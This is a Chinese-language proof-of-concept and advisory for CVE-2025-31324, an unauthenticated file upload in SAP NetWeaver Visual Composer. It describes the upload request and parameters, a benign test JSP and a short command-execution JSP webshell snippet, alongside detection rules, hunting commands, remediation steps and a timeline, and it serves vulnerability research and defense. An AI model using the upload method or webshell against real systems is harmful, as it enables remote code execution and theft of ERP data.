类型: 概念验证 — 漏洞研究 CVE: CVE-2025-31324 CVSS: 10.0 严重 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) 状态: 已修复 — SAP 安全公告 3594142 + 3604119 已加入 CISA KEV: 2025年5月
⚠️ 此 PoC 使用一个良性的 JSP 文件("Hello World")来验证攻击面,而不会执行恶意代码。仅限在授权环境中用于渗透测试和检测规则开发。
Developed by: HKK$ cat ./vulnerability_summary.txtCVE-2025-31324 漏洞位于 SAP NetWeaver AS Java 的 Visual Composer Metadata Uploader 组件中 — 这是一个 缺失授权检查 的缺陷,允许任何未认证的攻击者向 /developmentserver/metadatauploader 端点发送 POST 请求,导致任意文件的无限制上传。
该 CVE 具体影响 SAP NetWeaver Visual Composer Framework 7.50 版本,CVSS 评分为 10.0 — 最高可能值。
威胁行为者在 2025年1月至5月 期间积极利用此漏洞,在全球数百个系统中植入持久化 webshell。
$ cat ./impact.txt由于以高权限运行且靠近 ERP 数据,利用后横向移动到 SAP ABAP 栈或连接的数据库是轻而易举的。
真实攻击中的完整利用链:
上传 JSP (CVE-2025-31324)
→ 服务器上的持久化 Webshell
→ 以 SAP 进程身份执行 RCE(高权限)
→ 访问 ERP 数据(财务、人力资源、供应链)
→ 横向移动到 ABAP / DB
→ 部署 C2 框架(例如:Brute Ratel)
$ cat ./architecture.txt┌─────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-31324 — 利用流程 │
│ │
│ 攻击者 SAP NETWEAVER AS JAVA │
│ │
│ POST /developmentserver/metadatauploader │
│ Content-Type: multipart/form-data ┌─────────────────────┐ │
│ Body: JSP/WAR/任意文件 ──────────────────► │ Metadata Uploader │ │
│ (无认证) │ │ │
│ │ ❌ 无认证检查 │ │
│ │ ❌ 无扩展名验证 │ │
│ │ ❌ 无内容净化 │ │
│ └────────┬────────────┘ │
│ │ │
│ 文件保存至: │
│ /irj/root/ 或类似路径 │
│ │ │
│ GET /irj/hello_world.jsp ◄──────────────────────────┘ │
│ → Hello World(良性 PoC) │
│ → Webshell(真实利用) │
└─────────────────────────────────────────────────────────────────────────┘
/developmentserver/metadatauploader 是 SAP Visual Composer 的一部分 — 这是一款面向业务分析师的低代码开发工具,使他们无需编写 Java 代码即可创建 SAP 应用。该端点设计用于在开发过程中接收 metadata 模型。 尽管该组件在 NetWeaver 默认配置中未启用,但 Onapsis 报告称其在生产环境中被广泛激活。
$ cat ./design_decisions.mdfile_content = """<%@ page language="java" contentType="text/html; charset=UTF-8" ...%>
<h1>Hello World</h1>"""
为什么选择 JSP 而不是其他格式?
SAP NetWeaver AS Java 运行一个 JVM — .jsp 文件由 servlet 容器(内嵌 Apache Tomcat)直接解释执行,无需预先编译。这使得 JSP 成为 Java 环境中 webshell 的理想格式。
选择良性内容("Hello World")是 PoC 的刻意设计:
在真实利用中,内容将是一个带命令执行功能的 JSP webshell,例如:
<%
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
%>
multipart/form-data — 为什么使用这个 Content-Type?files = {'file': (file_name, open(file_name, 'rb'), 'application/octet-stream')}
该端点期望一个 multipart/form-data 请求 — 与 HTML 文件上传表单使用的格式相同。这是 Visual Composer 原始设计中的有意为之(上传开发模型)。
当传入 files= 参数时,requests 库会自动构建 multipart 的 boundary — Content-Type: multipart/form-data; boundary=... 头会在内部生成。
verify=False: 禁用 TLS 证书验证 — 这是必需的,因为 SAP 环境通常使用自签名证书。在生产环境中,应使用 verify='/path/to/ca-bundle.crt'。
https://<host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
| 组件 | 含义 |
|---|---|
:50201 | SAP ICM(Internet Communication Manager)HTTPS 默认端口 |
/developmentserver/ | Visual Composer 的开发 servlet |
metadatauploader | 特定的 metadata 上传端点 |
CONTENTTYPE=MODEL | 端点期望的内容类型 |
CLIENT=1 | SAP 客户端(mandant)— 000、100、001 为常见值 |
$ cat ./mitre_mapping.ymltactic: Initial Access
- T1190 # Exploit Public-Facing Application
# 通过 HTTP POST 无认证利用 /developmentserver/metadatauploader 端点
tactic: Execution
- T1505.003 # Server Software Component: Web Shell
# 上传的 JSP webshell → 由 servlet 容器(Tomcat)执行
tactic: Persistence
- T1505.003 # Web Shell 作为持久化机制
# JSP 文件在服务器重启后仍保留在文件系统中
tactic: Defense Evasion
- T1036 # Masquerading
# Webshell 被命名为合法的 SAP 文件(例如:metadata.jsp)
tactic: Discovery
- T1082 # System Information Discovery
# RCE 后:枚举进程、用户、SAP 路径
tactic: Lateral Movement
- T1210 # Exploitation of Remote Services
# 通过 RCE 访问 ABAP 栈、连接的数据库
tactic: Collection
- T1005 # Data from Local System
# 直接访问 ERP 数据(财务、人力资源、供应链)
$ cat ./affected_versions.txt产品: SAP NetWeaver Application Server Java
组件: Visual Composer Framework
版本: 7.50(2025年4月/5月补丁之前的所有构建版本)
补丁:
SSN 3594142 → 初始补丁(2025年4月)— 缓解文件上传
SSN 3604119 → 通过 CVE-2025-42999 修复根本原因(2025年5月)— 解决根因
SSN 3578900, 3620498, 3621771, 3634501 → 补充加固公告
CISA KEV:CVE-2025-31324 和 CVE-2025-42999 均已加入目录
$ cat ./detection_opportunities.md# 规则:对 Metadata Uploader 端点的未认证 POST
# 来源:SAP Web Dispatcher / ICM 访问日志
条件:
- method: POST
- uri_path 包含: /developmentserver/metadatauploader
- auth_header: 不存在
- body_content_type: multipart/form-data
严重性:严重 — 立即调查
# SAP ICM 日志 — 可疑模式:
[2025-04-25 03:41:22] POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
状态: 200 | 大小: 1337 | 认证: 无 | IP: x.x.x.x
# 规则:GET 请求访问合法 SAP 路径之外最近创建的 .jsp 文件
条件:
- method: GET
- uri_path 匹配: /irj/.*\.jsp
- file_creation_time: < 24h
- file_NOT_IN: [已知合法 JSP 列表]
# SAP JVM 的可疑子进程
# 来源:Sysmon / EDR 进程创建事件
条件:
- parent_process: java.exe 或 jstart.exe
- child_process: cmd.exe 或 powershell.exe 或 sh 或 bash
- command_line 包含: -c 或 .socket 或 .call( 或 .spawn(
Red Canary 记录了在 Linux 环境中利用 CVE-2025-31324 的以下检测模式:python 进程带有 -c 参数,并结合 .socket 和 .call( 或 .spawn( — 表明 webshell 后的反向 shell。
# 在过去 90 天内搜索对易受攻击端点的 POST 请求
# 日志目录:/usr/sap/<SID>/J<inst>/work/
grep -r "metadatauploader" /usr/sap/*/work/dev_icm* | grep "POST"
grep -r "metadatauploader" /usr/sap/*/work/http_access* | grep -v "GET"
# 列出 web 目录中最近创建的 JSP 文件
find /usr/sap/ -name "*.jsp" -newer /usr/sap/<SID>/SYS/global/security -type f
$ cat ./remediation.md优先级:严重 — 立即打补丁
1. 检查组件是否处于活动状态:
NWA → Configuration → Infrastructure → Java System Properties
查找:com.sap.tc.vccomp.server.vis.jms.VisJmsService
2. 如果不需要 → 禁用 Visual Composer:
NWA → Start & Stop → Services → VisualComposer → Stop
3. 按顺序应用强制补丁:
SSN 3594142 ← 关键(文件上传)
SSN 3604119 ← 根本原因(CVE-2025-42999)
SSN 3578900, 3620498, 3660659(额外加固)
4. 配置 JVM Serial Filter(补丁后):
NWA → JVM Parameters → 添加恶意类过滤器
5. 在 Web Dispatcher / 防火墙中限制对端点的网络访问:
阻止:外部 IP 访问 /developmentserver/*
允许:仅授权的开发主机
6. 检查 IOC — 查找补丁前已植入的 webshell:
分析自 2025年1月以来的 ICM 日志
在 /irj/ 中搜索内容可疑的 .jsp 文件
$ cat ./usage.sh# 安装依赖
pip install requests
# 执行前在脚本中编辑 URL:
# url = "https://<your-lab-host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1"
# 执行
python cve_2025_31324_poc.py
# 验证上传是否成功(文件应可访问)
curl -k https://<host>:<port>/irj/hello_world.jsp
# 如果存在漏洞,预期响应:包含 "Hello World" 的 HTML
# 如果已修补,预期响应:404 或 403
$ cat ./timeline.txt2025年1月 野外主动利用开始(追溯检测)
2025年4月24日 SAP 发布 CVE-2025-31324(CVSS 10.0)+ SSN 3594142
2025年4月28日 CISA 将其加入已知被利用漏洞目录
2025年4月29日 Rapid7、Qualys、Red Canary 发布技术分析
2025年5月7日 Onapsis + Mandiant(Google Cloud)发布联合简报
2025年5月13日 SAP 发布 SSN 3604119(通过 CVE-2025-42999 修复根本原因,CVSS 9.1)
2025年5月15日 CISA 将 CVE-2025-42999 加入 KEV 目录
2025年5月20日 CISA 要求美国联邦系统完成修补的最后期限
2025年6月25日 Unit 42 结束对该活动的主动监控
$ cat ./references.mdCVE: https://www.cve.org/CVERecord?id=CVE-2025-31324
SAP Note: https://me.sap.com/notes/3594142
NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-31324
CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Onapsis: https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/
Rapid7: https://www.rapid7.com/blog/post/2025/04/28/etr-active-exploitation-of-sap-netweaver-visual-composer-cve-2025-31324/
Unit 42: https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/
Red Canary: https://redcanary.com/blog/threat-intelligence/cve-2025-31324/
$ cat ./lessons_learned.txt[+] "开发"端点上的缺失认证是一个被低估的经典攻击向量
[+] CVSS 10.0 意味着:无认证 + 网络可达 + 完全 RCE — 最严重的三重组合
[+] Visual Composer 非默认组件但在生产中广泛激活 — 影子功能风险
[+] JSP 作为 webshell 尤其隐蔽:无需编译,由容器直接执行
[+] 威胁行为者在公开披露前利用了 3 个多月 — SOC 检测至关重要
[-] PoC 中的 verify=False — 在真实渗透测试中,记录自签名证书并使用 verify=路径
[-] CLIENT=1 硬编码 — 生产环境可能使用 000、100、200;需先枚举
[-] PoC 未验证上传后文件是否可访问 — 应添加 GET 确认步骤
[→] 改进:为 host/port/client 添加 argparse,上传后自动验证,JSON 格式输出
CVE 研究 · CVSS 10.0 · 2025年4月/5月已修补 · CISA KEV · 仅限授权测试